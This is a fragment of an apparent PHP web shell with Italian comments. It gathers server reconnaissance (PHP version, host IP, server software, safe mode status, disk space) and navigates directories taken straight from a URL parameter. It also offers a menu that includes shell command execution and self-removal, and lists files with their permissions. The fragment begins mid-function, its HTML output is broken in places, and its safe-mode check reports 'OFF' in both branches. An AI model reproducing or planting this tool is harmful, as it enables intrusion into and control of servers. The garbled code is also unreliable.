= 1073741824) {
/* Conversione da Byte a GigaByte */
$size = round($size/1073741824*100)/100 ." GB";
} elseif ($size >= 1048576) {
/* Conversione da Byte a MegaByte */
$size = round($size/1048576*100)/100 ." MB";
} elseif ($size >= 1024) {
/* Conversione da Byte a KiloByte */
$size = round($size/1024*100)/100 ." KB";
} else {
/* Byte */
$size = $size . " B";
}
return $size;
}
}
}
function getinfo()
{
$info = '';
$info .= '[~]Versione PHP: ' .phpversion() .'
';
$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'
';
$info .= '[~]Indirizzo IP: ' .$_SERVER['SERVER_ADDR'] .'
';
$info .= '[~]Software: ' .$_SERVER['SERVER_SOFTWARE'].'
';
$info .= '[~]Charset: ' .$_SERVER['HTTP_ACCEPT_CHARSET'] . '
';
$info .= ((ini_get('safe_mode') == 0) ? '[~]Safe Mode: OFF
' : '[~]Safe Mode: OFF
');
$info .= ((ini_get('magic_quotes_gpc') == 0) ? '[~]Magic Quotes: OFF
' : '[~]Magic Quotes: ON
');
if (is_callable("disk_free_space")) {
$d = realpath(".");
$free = disk_free_space($d);
$total = disk_total_space($d);
if ($free === FALSE || $free < 0) {
$free = 0;
}
if ($total === FALSE || $total < 0) {
$total = 0;
}
$used = $total-$free;
$info .= "[~]Free space: ".view_size($free)."/".view_size($total)."
";
}
return $info;
}
if (!isset ($_GET ['dir'])){
$dir = getcwd ();
}
else {
$dir = $_GET ['dir'];
}
chdir ($dir);
$current = getcwd ();
$c = "?dir=" . $current;
$home = "
[ New ] | \n"; print "[ PHP Info ] | \n"; print "[ No-Paste ] | \n"; print "[ Shell Command ] | \n"; print "[ Hasher ] | \n"; print "[ Self Remove ] | \n"; print "
\n" . htmlentities ($read) . " | \n
" . $out ." | \n"; print "".view_size(filesize($out))." | "; print "" . getperms ($out) . " | \n";
print "\n |
" . $out . " | \n"; print "FOLDER | "; print "" . getperms ($out) . " | \n";
print "\n | .. | \n"; } } print "